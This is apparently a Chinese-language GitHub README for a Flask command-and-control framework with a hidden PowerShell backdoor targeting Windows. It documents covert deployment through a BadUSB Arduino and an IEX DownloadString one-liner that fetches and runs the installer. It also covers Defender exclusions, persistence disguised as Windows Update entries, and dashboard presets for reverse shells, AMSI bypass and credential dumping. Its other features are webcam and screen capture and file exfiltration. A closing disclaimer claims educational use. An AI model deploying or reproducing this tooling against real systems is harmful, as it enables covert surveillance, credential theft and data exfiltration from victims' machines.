cr7799/c2-framework

GitHub: cr7799/c2-framework

基于 Flask 的轻量级 Windows 远程命令与控制框架,集成 Web 仪表盘、PowerShell 隐蔽后门及自动化部署与清理工具链。

Stars: 2 | Forks: 0

# 🎯 C2 Framework – Windows 远程命令与控制 [许可证:MIT] [Python 3.8+] [PowerShell 5.1+] ## 📖 概述 **C2 Framework** 是一个完整的远程管理解决方案,包含: - 一个轻量级的 **基于 Flask 的 C2 服务器**,配备现代化的 Web 仪表盘。 - 一个**隐蔽的 PowerShell 后门**,可连接到服务器,执行命令并返回结果。 - 一个**安装程序**,用于部署带有持久化机制的后门并隐藏所有窗口。 - 一个**清理程序**,用于在测试后清除所有痕迹。 它使操作员能够: - 在 Windows 机器上远程执行 PowerShell 命令。 - 捕获全屏截图(支持多显示器)。 - 传输带有鼠标控制的实时桌面视频流。 - 访问网络摄像头(通过附带的 `cam.exe` 工具)。 - 上传/下载文件和提取目录(ZIP)。 - 更换壁纸、播放声音、显示自定义弹出消息。 - 通过注册表 `Run` 键或计划任务维持持久化——完全不可见。 ## 🧱 架构 | 组件 | 技术 | 目的 | |-----------|------------|---------| | `server.py` | Python + Flask | 托管 Web UI 和 REST API,用于处理命令/结果、文件上传和实时流传输。 | | `backdoor.ps1` | PowerShell 5.1+ | 定期轮询命令、执行、结果提取。通过双重嵌套的 `Start-Process` 隐秘运行。 | | `installer.ps1` | PowerShell GUI | 下载文件,添加 Defender 排除项,创建持久化,静默启动后门。 | | `cleaner.ps1` | PowerShell | 终止进程,删除文件,移除注册表键和计划任务,还原 Defender 设置。 | | `cam.exe` | 第三方 (或自定义) | 网络摄像头捕获工具 – 需要将 `image.jpg` 保存在 `%TEMP%` 中。 | ## ✨ 功能特性 ### 🔹 服务器 (Flask) - REST 端点:`/command`、`/set_command`、`/result`、`/upload`、`/stream_upload`、`/latest_frame`、`/status` - 包含六个选项卡的 Web 仪表盘:终端输出、执行、文件操作、数据提取、媒体、实时视图 - 实时状态指示器(基于 30 秒心跳的在线/离线状态) - 自动创建文件夹:`uploads/`、`results/`、`media_uploads/`、`stream_frames/` ### 🔹 后门 (PowerShell) - SSL 证书验证绕过(信任所有证书) - 每 10 秒循环一次,获取命令,通过 `Invoke-Expression` 执行 - 内置功能: - `Capture-Screenshot` – 虚拟屏幕捕获(所有显示器) - `Capture-Webcam` – 运行 `cam.exe` 并上传 `image.jpg` - `Send-MouseClick {left|right|double}` – 使用 C# 的 `SendInput` 实现可靠点击 - `Start-ScreenStream` – 每 2 秒发送一次 JPEG 帧的后台作业 - 日志记录至 `C:\Users\Public\backdoor.log` ### 🔹 安装程序 - 图形化进度条 (Windows Forms) - 从 C2 服务器下载 `backdoor.ps1` 和 `cam.exe` - 解除已下载文件的阻止状态 - 为 `C:\Users\Public` 和 `%TEMP%` 添加 Defender 排除项 - 持久化:双重隐藏的注册表 `Run` 键(无窗口闪烁) - 立即(隐藏)启动后门 ### 🔹 清理程序 - 终止所有包含 `backdoor.ps1` 的 PowerShell 进程(通过 WMI) - 删除所有已安装的文件(`backdoor.ps1`、`installer.ps1`、`cam.exe`) - 移除 `HKCU` 和 `HKLM` 中的注册表 Run 键 - 取消注册计划任务 `WindowsUpdateService` - 移除 Defender 排除项 ![仪表盘预览](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/39f66d5ef7165505.png) ## 🚀 快速开始 ### 前置条件 (服务器) - 安装了 Flask 的 Python 3.8+:`pip install flask` - 任何能运行 Python 的操作系统(Linux, Windows, macOS) ### 前置条件 (目标机器) - Windows 10 / 11 / Server 2016+ - PowerShell 5.1 或更高版本(通常已预装) ### 1. 配置服务器 1. 将所有文件(`server.py`、`backdoor.ps1`、`installer.ps1`、`cleaner.ps1`、`cam.exe`)放在同一目录中。 2. 编辑 `backdoor.ps1` 和 `installer.ps1` – 将变量 `$attacker` 更改为您服务器的 IP(例如,`192.168.1.53:8000`)。 3. 运行服务器: python server.py 服务器默认监听 0.0.0.0:8000。 ### 2. 部署到目标机器 选择以下方法之一: **方法 A – Arduino BadUSB (全自动)** - 将 `arduino.ino` 上传到 Arduino Leonardo、Micro 或兼容板。 - 编辑草图中的 IP 地址以匹配您的服务器(`192.168.1.53`)。 - 将 Arduino 插入目标机器。它将等待 3 秒,然后注入所有击键以下载并运行安装程序。不会保留任何可见窗口。 **方法 B – 直接从 PowerShell 执行安装程序** ``` powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://:8000/installer.ps1')" ``` **方法 C – 手动复制** - 将 `installer.ps1` 复制到目标机器并运行: ``` .\installer.ps1 ``` 安装程序将下载必要的文件,设置持久化,并启动后门——所有过程均无可见窗口。 ### 3. 访问 C2 仪表盘 打开浏览器并导航至: ``` http://:8000 ``` 您将看到带有状态指示器(绿点 = 后门在线)的主界面。开始发送命令吧! ### 4. 清理 完成测试后,在目标机器上(以管理员身份)运行以下命令: ``` powershell -ExecutionPolicy Bypass -File cleaner.ps1 ``` ## 🖥️ 仪表盘选项卡说明 | 选项卡 | 描述 | | ------------------- | -------------------------------------------------------------------------------------------------------------------- | | **TERMINAL OUTPUT** | 显示命令结果和文件上传通知。自动刷新。 | | **EXECUTE** | 运行任意 PowerShell 命令或从预设中选择(反向 shell、AMSI 绕过、持久化、凭据导出)。 | | **FILE OPS** | 在目标机器上创建、追加、删除、列出或读取文件。 | | **EXFILTRATE** | 上传单个文件或将整个目录压缩为 ZIP 并发送至 C2 服务器。 | | **MEDIA** | 更换壁纸或在目标机器上播放声音(上传您自己的媒体文件)。 | | **LIVE VIEW** | 启动/停止屏幕流传输、截取屏幕截图,并控制鼠标(点击图像以移动光标)。 | ## 📁 项目结构 ``` c2-framework/ ├── server.py # Flask C2 server ├── backdoor.ps1 # PowerShell backdoor ├── installer.ps1 # Deployment script with GUI ├── cleaner.ps1 # Removal/cleanup script ├── arduino.ino # Arduino HID deployment payload ├── cam.exe # (supplied by user) webcam capture tool ├── uploads/ # Exfiltrated files (auto‑created) ├── results/ # Command output logs (auto‑created) ├── media_uploads/ # Wallpapers & sounds uploaded by attacker (auto‑created) ├── stream_frames/ # Live stream JPEG frames (auto‑created) └── README.md # This file ``` ## 🔧 故障排除 | 问题 | 解决方案 | | -------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **`POST /upload` 返回 400** | 确保后门使用 `-ContentType 'application/octet-stream'`(提供的脚本中已设置)。仪表盘中的某些旧版提取命令使用了 `multipart/form-data`;如有需要,请替换为 `application/octet-stream`。 | | **后门在重启后失效** | 检查注册表键 `HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate`。如缺失,请重新运行安装程序。 | | **PowerShell 窗口短暂闪烁** | 双重隐藏启动可阻止任何窗口显示。如果您看到闪烁,可能存在较旧的持久化条目——运行清理程序并重新安装。 | | **实时流无图像** | 验证后门的 `Start-ScreenStream` 作业是否正在运行(`Get-Job`)。确认到 `/stream_upload` 的网络连通性。 | | **摄像头捕获失败** | 确保 `cam.exe` 位于 `%TEMP%` 中。脚本最多等待 10 秒。通过在 PowerShell 中手动运行 `Capture-Webcam` 进行测试。 | | **Arduino 注入无效** | 确保已正确上传 Arduino 草图,开发板被识别为键盘,并且启动时的延迟为驱动程序安装提供了足够的时间。 | | **服务器无法提供 `.ps1` 文件** | Flask 通过通用路由提供其当前目录中的所有文件。请将脚本放置在与 `server.py` 相同的文件夹中。 | ## ⚖️ 法律免责声明 本软件**仅供教育目的和授权安全评估**(例如,渗透测试,对您拥有或已获得明确测试许可的系统进行红蓝对抗)。您有责任遵守所有适用法律。滥用此工具可能会导致刑事指控。作者对任何恶意或非法使用不承担任何责任。 ## 📄 许可证 基于 MIT 许可证分发。 ## 📬 联系方式 如有问题或建议,请在本仓库开启一个 issue。请**不要**寻求有关非法活动的帮助。
标签:AI合规, C2框架, DAST, Flask, GUI控制台, IPv6, MIT开源, OpenCanary, PowerShell, Python, TGT, Windows管理, 后门, 子域名枚举, 安全学习资源, 屏幕截图, 恶意软件分析, 攻击路径可视化, 攻防演练, 文件窃取, 无后门, 私有化部署, 系统安全, 网络安全, 网络安全审计, 网络摄像头, 远程控制, 远程桌面, 逆向工具, 防御规避, 隐私保护, 黑客工具